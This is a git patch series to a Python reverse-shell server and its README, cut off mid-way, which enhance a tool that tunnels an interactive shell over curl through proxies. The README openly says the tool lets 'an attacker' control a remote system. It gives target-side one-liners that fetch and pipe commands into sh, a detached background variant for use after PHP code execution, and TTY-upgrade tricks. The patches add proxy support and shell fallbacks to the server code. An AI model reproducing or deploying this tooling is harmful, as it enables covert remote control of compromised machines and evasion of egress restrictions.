From 7226c14f210b040fd4c3c9dd434c8ddaf58ba920 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Fri, 29 Sep 2023 09:30:10 +0100 Subject: [PATCH 01/32] argparse fix for type=bool --- curlshell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/curlshell.py b/curlshell.py index 3e32aad..b498472 100755 --- a/curlshell.py +++ b/curlshell.py @@ -202,6 +202,6 @@ def do_the_job(args): parser.add_argument("--certificate", help="path to the certificate for TLS") parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on") parser.add_argument("--listen-port", type=int, default=443, help="port to listen on") - parser.add_argument("--serve-forever", type=bool, default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") - parser.add_argument("--dependabot-workaround", type=bool, action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") + parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") + parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") do_the_job(parser.parse_args()) From af3f106056f0360800da928525d8aa1626eee5eb Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Fri, 6 Oct 2023 12:50:30 +0100 Subject: [PATCH 02/32] HTTPS fixes --- curlshell.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/curlshell.py b/curlshell.py index b498472..cf9db30 100755 --- a/curlshell.py +++ b/curlshell.py @@ -150,12 +150,15 @@ def do_POST(self): locker("stdin", -1, not self.server.args.serve_forever) def do_GET(self): - eprint("cmd request received from", self.client_address) - schema = "https" if self.server.args.certificate else "http" + + eprint("cmd request received from", self.headers.get('X-Forwarded-For') or self.client_address) + schema = self.headers['X-Forwarded-Proto'] + if not schema: + schema = "https" if self.server.args.certificate else "http" host = self.headers["Host"] - cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input" - cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)" - cmd+= f" | curl -s -T - {schema}://{host}/stdout" + cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -sk {schema}://{host}/input" + cmd+= f" | bash 2> >(curl -sk -T - {schema}://{host}/stderr)" + cmd+= f" | curl -sk -T - {schema}://{host}/stdout" cmd+= "\n" # sending back the complex command to be executed self.send_response(200) From c1673a6c1e5ea1aecf866f7eaac59185c233afe3 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 13:26:25 +0100 Subject: [PATCH 03/32] Update README.md --- README.md | 51 +++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 45 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 5218fb9..72bd7b8 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ # Reverse shell using curl +(Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell)) + During security research, you may end up running code in an environment, where establishing raw TCP connections to the outside world is not possible; outgoing connection may only go through a connect proxy (HTTPS_PROXY). @@ -7,18 +9,55 @@ This simple interactive HTTP server provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl. -## Usage +Generate a SSL Certificate: +```sh +openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC" +``` + +## Without Proxy -Start your listener: +```sh +./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080 +``` +```sh +# On the target: +curl -skfL https://1.2.3.4:8080 | bash +``` +## With SOCKS Proxy +```sh +./curlshell.py -x socks5h://5.5.5.5:1080 --certificate cert.pem --private-key key.pem --listen-port 8080 ``` -./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234 +```sh +# On the target: +curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ``` -On the remote side: +## With HTTP Proxy +```sh +./curlshell.py -x http://5.5.5.5:3128 --certificate cert.pem --private-key key.pem --listen-port 8080 +``` +```sh +# On the target: +curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash +``` +## With HTTP (plaintext) +```sh +./curlshell.py --listen-port 8080 ``` -curl https://curlshell:1234 | bash +```sh +# On the target: +curl -sfL http://1.2.3.4:8080 | bash ``` -That's it! +# How it works +The first cURL request pipes this into a bash: +```sh +stdbuf -i0 -o0 -e0 curl -X POST -sk https://1.2.3.4:8080/input \ + | bash 2> >(curl -sk -T - https://1.2.3.4:8080/stderr) \ + | curl -sk -T - https://1.2.3.4:8080/stdout +``` + +The bash then starts 3 cURL processes to connect stdin, stdout and stderr. HTTP's 'chunked transfer' does the rest. + From c1cd0d737c96d6ad255b82904d154d1bd257fc86 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Fri, 6 Oct 2023 13:28:41 +0100 Subject: [PATCH 04/32] HTTPS fixes --- curlshell.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/curlshell.py b/curlshell.py index cf9db30..29544d1 100755 --- a/curlshell.py +++ b/curlshell.py @@ -150,14 +150,16 @@ def do_POST(self): locker("stdin", -1, not self.server.args.serve_forever) def do_GET(self): - eprint("cmd request received from", self.headers.get('X-Forwarded-For') or self.client_address) schema = self.headers['X-Forwarded-Proto'] if not schema: schema = "https" if self.server.args.certificate else "http" + proxy = "" + if self.server.args.x: + proxy = "-x " + self.server.args.x host = self.headers["Host"] - cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -sk {schema}://{host}/input" - cmd+= f" | bash 2> >(curl -sk -T - {schema}://{host}/stderr)" + cmd = f"stdbuf -i0 -o0 -e0 curl {proxy} -X POST -sk {schema}://{host}/input" + cmd+= f" | bash -il 2> >(curl -sk -T - {schema}://{host}/stderr)" cmd+= f" | curl -sk -T - {schema}://{host}/stdout" cmd+= "\n" # sending back the complex command to be executed @@ -207,4 +209,5 @@ def do_the_job(args): parser.add_argument("--listen-port", type=int, default=443, help="port to listen on") parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") + parser.add_argument("-x", help="Proxy to use [e.g. -x socks5h://1.2.3.4:1080 or -x http://user:pwd@1.2.3.4:3128]") do_the_job(parser.parse_args()) From 31264fa586cdc9ddf48719d0510c526a9b0348f9 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 13:30:16 +0100 Subject: [PATCH 05/32] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index 72bd7b8..94b8b5d 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,7 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3 ## Without Proxy ```sh +# Start your listener ./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080 ``` ```sh @@ -29,7 +30,6 @@ curl -skfL https://1.2.3.4:8080 | bash ./curlshell.py -x socks5h://5.5.5.5:1080 --certificate cert.pem --private-key key.pem --listen-port 8080 ``` ```sh -# On the target: curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ``` @@ -38,7 +38,6 @@ curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ./curlshell.py -x http://5.5.5.5:3128 --certificate cert.pem --private-key key.pem --listen-port 8080 ``` ```sh -# On the target: curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ``` @@ -47,7 +46,6 @@ curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ./curlshell.py --listen-port 8080 ``` ```sh -# On the target: curl -sfL http://1.2.3.4:8080 | bash ``` From 7a18811a283c4f139de5f45509dc2d0f3f681036 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 13:32:17 +0100 Subject: [PATCH 06/32] Update README.md --- README.md | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/README.md b/README.md index 94b8b5d..7155614 100644 --- a/README.md +++ b/README.md @@ -2,12 +2,7 @@ (Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell)) -During security research, you may end up running code in an environment, -where establishing raw TCP connections to the outside world is not possible; -outgoing connection may only go through a connect proxy (HTTPS_PROXY). -This simple interactive HTTP server provides a way to mux -stdin/stdout and stderr of a remote reverse shell over that proxy with the -help of curl. +A reverse TCP shell through a proxy (using cURL). Generate a SSL Certificate: ```sh From 3405764ee75d23482b753f6a69d525d4ef329be1 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 13:32:54 +0100 Subject: [PATCH 07/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7155614..bd4f684 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Reverse shell using curl -(Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell)) +(Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell); slightly enhanced) A reverse TCP shell through a proxy (using cURL). From b7534c5db04fddec7635d91d82ce99097ab5171d Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 13:48:15 +0100 Subject: [PATCH 08/32] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index bd4f684..5530056 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,8 @@ A reverse TCP shell through a proxy (using cURL). +It allows an attacker to access a remote shell (bash) when the remote system can only access the Internet via a Proxy (and no other binaries can be installed or executed). It only needs `curl` and `bash`. + Generate a SSL Certificate: ```sh openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC" From 9f723261b58db898430337d25d9d8aceebc2c1f1 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Fri, 6 Oct 2023 15:36:01 +0100 Subject: [PATCH 09/32] --shell --- curlshell.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/curlshell.py b/curlshell.py index 29544d1..b07b60d 100755 --- a/curlshell.py +++ b/curlshell.py @@ -157,9 +157,10 @@ def do_GET(self): proxy = "" if self.server.args.x: proxy = "-x " + self.server.args.x + shell = self.server.args.shell or "/usr/bin/env bash -il" host = self.headers["Host"] - cmd = f"stdbuf -i0 -o0 -e0 curl {proxy} -X POST -sk {schema}://{host}/input" - cmd+= f" | bash -il 2> >(curl -sk -T - {schema}://{host}/stderr)" + cmd = f"exec stdbuf -i0 -o0 -e0 curl {proxy} -X POST -sk {schema}://{host}/input" + cmd+= f" | {shell} 2>&1" cmd+= f" | curl -sk -T - {schema}://{host}/stdout" cmd+= "\n" # sending back the complex command to be executed @@ -209,5 +210,6 @@ def do_the_job(args): parser.add_argument("--listen-port", type=int, default=443, help="port to listen on") parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") + parser.add_argument("--shell", help="Shell [--shell /bin/sh or --shell '/usr/bin/env zsh -il']") parser.add_argument("-x", help="Proxy to use [e.g. -x socks5h://1.2.3.4:1080 or -x http://user:pwd@1.2.3.4:3128]") do_the_job(parser.parse_args()) From 9d64d10976394a55102f171bcbb52bef64233344 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 15:41:29 +0100 Subject: [PATCH 10/32] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 5530056..76bd0a6 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ A reverse TCP shell through a proxy (using cURL). -It allows an attacker to access a remote shell (bash) when the remote system can only access the Internet via a Proxy (and no other binaries can be installed or executed). It only needs `curl` and `bash`. +It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (and no other binaries can be installed or executed). It only needs `curl` and `sh`. Generate a SSL Certificate: ```sh @@ -19,7 +19,7 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3 ``` ```sh # On the target: -curl -skfL https://1.2.3.4:8080 | bash +curl -skfL https://1.2.3.4:8080 | sh ``` ## With SOCKS Proxy @@ -27,7 +27,7 @@ curl -skfL https://1.2.3.4:8080 | bash ./curlshell.py -x socks5h://5.5.5.5:1080 --certificate cert.pem --private-key key.pem --listen-port 8080 ``` ```sh -curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash +curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh ``` ## With HTTP Proxy @@ -35,7 +35,7 @@ curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ./curlshell.py -x http://5.5.5.5:3128 --certificate cert.pem --private-key key.pem --listen-port 8080 ``` ```sh -curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash +curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh ``` ## With HTTP (plaintext) @@ -43,7 +43,7 @@ curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | bash ./curlshell.py --listen-port 8080 ``` ```sh -curl -sfL http://1.2.3.4:8080 | bash +curl -sfL http://1.2.3.4:8080 | sh ``` # How it works From 615c3dcd27e3fce2e7fefbfc0edb37896098fc52 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 16:29:57 +0100 Subject: [PATCH 11/32] Update README.md --- README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/README.md b/README.md index 76bd0a6..3ea35f1 100644 --- a/README.md +++ b/README.md @@ -46,6 +46,13 @@ curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh curl -sfL http://1.2.3.4:8080 | sh ``` +# Advanced Tricks +Spawn a TTY shell +```sh +stty intr undef ; +./curlshell.py --shell 'script -q /dev/null /bin/bash' --listen-port 8080 ; stty intr ^C +``` + # How it works The first cURL request pipes this into a bash: ```sh From 9300ea6a89c740a0fdf196dccb7820ceb8dad143 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 6 Oct 2023 16:45:32 +0100 Subject: [PATCH 12/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3ea35f1..46cf764 100644 --- a/README.md +++ b/README.md @@ -50,7 +50,7 @@ curl -sfL http://1.2.3.4:8080 | sh Spawn a TTY shell ```sh stty intr undef ; -./curlshell.py --shell 'script -q /dev/null /bin/bash' --listen-port 8080 ; stty intr ^C +./curlshell.py --shell 'script -qc /bin/bash /dev/null' --listen-port 8080 ; stty intr ^C ``` # How it works From 5ba2e71ed8b9d20840eb57c67335de72c2e80acf Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Fri, 6 Oct 2023 16:54:48 +0100 Subject: [PATCH 13/32] hints --- curlshell.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/curlshell.py b/curlshell.py index b07b60d..bf5ff73 100755 --- a/curlshell.py +++ b/curlshell.py @@ -105,6 +105,10 @@ def do_PUT(self): raise Exception("Invalid request") locker(w, 1, not self.server.args.serve_forever) eprint(w, "stream connected") + eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\x1b[0m') + eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') + eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") + eprint("\x1b[0;36mreset\x1b[0m") sr = SocketStreamReader(self.rfile) while True: line = sr.readline() From 501c3238e616fdc93dc5bcef6bf5b0e8d6deb9c9 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Sat, 7 Oct 2023 06:38:17 +0100 Subject: [PATCH 14/32] ash compatible --- curlshell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/curlshell.py b/curlshell.py index bf5ff73..a9508d0 100755 --- a/curlshell.py +++ b/curlshell.py @@ -163,7 +163,7 @@ def do_GET(self): proxy = "-x " + self.server.args.x shell = self.server.args.shell or "/usr/bin/env bash -il" host = self.headers["Host"] - cmd = f"exec stdbuf -i0 -o0 -e0 curl {proxy} -X POST -sk {schema}://{host}/input" + cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" cmd+= f" | {shell} 2>&1" cmd+= f" | curl -sk -T - {schema}://{host}/stdout" cmd+= "\n" From 7d1903c44aad9981204120b33da961d917af0dba Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 06:42:08 +0100 Subject: [PATCH 15/32] Update README.md --- README.md | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 46cf764..9cfe7ea 100644 --- a/README.md +++ b/README.md @@ -54,12 +54,11 @@ stty intr undef ; ``` # How it works -The first cURL request pipes this into a bash: +The first cURL request pipes this into a target's shell: ```sh -stdbuf -i0 -o0 -e0 curl -X POST -sk https://1.2.3.4:8080/input \ - | bash 2> >(curl -sk -T - https://1.2.3.4:8080/stderr) \ - | curl -sk -T - https://1.2.3.4:8080/stdout +exec curl -X POST -sN http://217.138.219.220:30903/input \ + | sh 2>&1 | curl -s -T - http://217.138.219.220:30903/stdout ``` -The bash then starts 3 cURL processes to connect stdin, stdout and stderr. HTTP's 'chunked transfer' does the rest. +The target's shell then starts 2 cURL processes to connect the another shell's input and output to cURL. HTTP's 'chunked transfer' (`-T`) does the rest. From 42b291c2581cf5db6a145c091300dcb734dc0137 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 06:51:20 +0100 Subject: [PATCH 16/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9cfe7ea..32188b6 100644 --- a/README.md +++ b/README.md @@ -60,5 +60,5 @@ exec curl -X POST -sN http://217.138.219.220:30903/input \ | sh 2>&1 | curl -s -T - http://217.138.219.220:30903/stdout ``` -The target's shell then starts 2 cURL processes to connect the another shell's input and output to cURL. HTTP's 'chunked transfer' (`-T`) does the rest. +This command starts two cURL processes and connects another shell's input and output these two cURL. HTTP's 'chunked transfer' (`-T`) does the rest. From 3e6669b320d3d80695c7ac17b48776a4105669f5 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Sat, 7 Oct 2023 06:51:44 +0100 Subject: [PATCH 17/32] auto fallback to sh --- curlshell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/curlshell.py b/curlshell.py index a9508d0..8296d3f 100755 --- a/curlshell.py +++ b/curlshell.py @@ -161,7 +161,7 @@ def do_GET(self): proxy = "" if self.server.args.x: proxy = "-x " + self.server.args.x - shell = self.server.args.shell or "/usr/bin/env bash -il" + shell = self.server.args.shell or "{ command -v bash >/dev/null && { /usr/bin/env bash -il; true;} || /usr/bin/env sh -il;}" host = self.headers["Host"] cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" cmd+= f" | {shell} 2>&1" From 6325978d1dc4427e3bfb972b1a69a4b6e9b02133 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 06:56:36 +0100 Subject: [PATCH 18/32] Update README.md --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 32188b6..a646dec 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,10 @@ (Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell); slightly enhanced) -A reverse TCP shell through a proxy (using cURL). +A reverse TCP shell through a proxy (using only cURL). + +It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (and no other binaries can be installed or executed). It only needs `curl` and `sh`. The target does not need to have python. -It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (and no other binaries can be installed or executed). It only needs `curl` and `sh`. Generate a SSL Certificate: ```sh @@ -14,7 +15,7 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3 ## Without Proxy ```sh -# Start your listener +# Start your listener (your system) ./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080 ``` ```sh From c860debb68e670b3715a6aaad459a46101d1b253 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 07:00:16 +0100 Subject: [PATCH 19/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a646dec..e4b2970 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ A reverse TCP shell through a proxy (using only cURL). It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (and no other binaries can be installed or executed). It only needs `curl` and `sh`. The target does not need to have python. -Generate a SSL Certificate: +Generate a SSL Certificate (on your system; not the target): ```sh openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC" ``` From 324b6b3e277ed1179b14e751a38c11c46f0d8a1e Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 07:00:39 +0100 Subject: [PATCH 20/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e4b2970..8f63617 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ (Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell); slightly enhanced) -A reverse TCP shell through a proxy (using only cURL). +An encrypted reverse TCP shell through a proxy (using only cURL). It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (and no other binaries can be installed or executed). It only needs `curl` and `sh`. The target does not need to have python. From 9085e9331bf88f351a0faa7c2f3c797062195506 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 07:45:02 +0100 Subject: [PATCH 21/32] Update README.md --- README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/README.md b/README.md index 8f63617..b53b281 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,18 @@ stty intr undef ; ./curlshell.py --shell 'script -qc /bin/bash /dev/null' --listen-port 8080 ; stty intr ^C ``` +Start the reverse shell as a daemon / background process. This is useful when you have remote execution via PHP: +```sh +# Dont use 'sh -il' in busybox [ash: alpine, docker] which will fail with SIGTTIN. +# Instead use just 'sh' +./curlshell.py --shell sh --listen-port 8080 +``` + +```sh +# On the target: +(curl -sfL http://1.2.3.4:8080 | sh &>/dev/null &) +``` + # How it works The first cURL request pipes this into a target's shell: ```sh From 93fc7240f9d6e4e99a43842d6e5a0442c2949e1d Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 07:46:05 +0100 Subject: [PATCH 22/32] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index b53b281..84c8c89 100644 --- a/README.md +++ b/README.md @@ -75,3 +75,5 @@ exec curl -X POST -sN http://217.138.219.220:30903/input \ This command starts two cURL processes and connects another shell's input and output these two cURL. HTTP's 'chunked transfer' (`-T`) does the rest. +--- +More at https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet. From 3410aadfa12a8aaaa54b54c39ca399faced305d4 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 08:28:28 +0100 Subject: [PATCH 23/32] Update README.md --- README.md | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/README.md b/README.md index 84c8c89..c3f0755 100644 --- a/README.md +++ b/README.md @@ -51,16 +51,10 @@ curl -sfL http://1.2.3.4:8080 | sh Spawn a TTY shell ```sh stty intr undef ; -./curlshell.py --shell 'script -qc /bin/bash /dev/null' --listen-port 8080 ; stty intr ^C +./curlshell.py --shell "script -qc '/bin/bash -il' /dev/null" --listen-port 8080 ; stty intr ^C ``` Start the reverse shell as a daemon / background process. This is useful when you have remote execution via PHP: -```sh -# Dont use 'sh -il' in busybox [ash: alpine, docker] which will fail with SIGTTIN. -# Instead use just 'sh' -./curlshell.py --shell sh --listen-port 8080 -``` - ```sh # On the target: (curl -sfL http://1.2.3.4:8080 | sh &>/dev/null &) From 3d1c4d69d2864c3717dc2902925e3c6772f206f5 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 08:34:06 +0100 Subject: [PATCH 24/32] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c3f0755..3acc15e 100644 --- a/README.md +++ b/README.md @@ -48,13 +48,14 @@ curl -sfL http://1.2.3.4:8080 | sh ``` # Advanced Tricks -Spawn a TTY shell +**Trick #1 - Spawn a TTY shell** ```sh stty intr undef ; ./curlshell.py --shell "script -qc '/bin/bash -il' /dev/null" --listen-port 8080 ; stty intr ^C ``` -Start the reverse shell as a daemon / background process. This is useful when you have remote execution via PHP: +**Trick #2 - Start the reverse shell as a daemon / background process** +This is useful when you have remote execution via PHP: ```sh # On the target: (curl -sfL http://1.2.3.4:8080 | sh &>/dev/null &) From 039210ee22b362b6496e62e63be169b138857389 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Sat, 7 Oct 2023 08:36:28 +0100 Subject: [PATCH 25/32] more tips --- curlshell.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/curlshell.py b/curlshell.py index 8296d3f..72f738f 100755 --- a/curlshell.py +++ b/curlshell.py @@ -106,6 +106,7 @@ def do_PUT(self): locker(w, 1, not self.server.args.serve_forever) eprint(w, "stream connected") eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\x1b[0m') + eprint('\x1b[0;36mcommand -v script >/dev/null && exec script -qc "${SHELL:-bash} -il" /dev/null\x1b[0m') eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") eprint("\x1b[0;36mreset\x1b[0m") @@ -161,7 +162,8 @@ def do_GET(self): proxy = "" if self.server.args.x: proxy = "-x " + self.server.args.x - shell = self.server.args.shell or "{ command -v bash >/dev/null && { /usr/bin/env bash -il; true;} || /usr/bin/env sh -il;}" + # Note: ash/busybox's 'sh -il' will fail with SIGTTIN if not connected to a PTY. + shell = self.server.args.shell or "{ command -v bash >/dev/null && { /usr/bin/env bash -il; true;} || /usr/bin/env sh;}" host = self.headers["Host"] cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" cmd+= f" | {shell} 2>&1" From b654ac9736f86e0290a1ece6590d044f33d214cf Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 7 Oct 2023 08:42:26 +0100 Subject: [PATCH 26/32] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3acc15e..7b326c8 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ An encrypted reverse TCP shell through a proxy (using only cURL). -It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (and no other binaries can be installed or executed). It only needs `curl` and `sh`. The target does not need to have python. +It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (or the filesystem is mounted read-only/noexec). The target only needs to have `curl` and `sh` installed. Python is not needed and no additonal tools are installed or deployed. Generate a SSL Certificate (on your system; not the target): From 4158c8306109442a3df35b82d0fcde1b2ecb4078 Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Sat, 7 Oct 2023 15:47:04 +0100 Subject: [PATCH 27/32] nologin workaround --- curlshell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/curlshell.py b/curlshell.py index 72f738f..9b413f6 100755 --- a/curlshell.py +++ b/curlshell.py @@ -106,7 +106,7 @@ def do_PUT(self): locker(w, 1, not self.server.args.serve_forever) eprint(w, "stream connected") eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\x1b[0m') - eprint('\x1b[0;36mcommand -v script >/dev/null && exec script -qc "${SHELL:-bash} -il" /dev/null\x1b[0m') + eprint('\x1b[0;36mcommand -v script >/dev/null && exec script -qc "/usr/bin/env bash -il" /dev/null\x1b[0m') eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") eprint("\x1b[0;36mreset\x1b[0m") From 41ac0d70959f0482d73d9316bfcb7f09795a4acb Mon 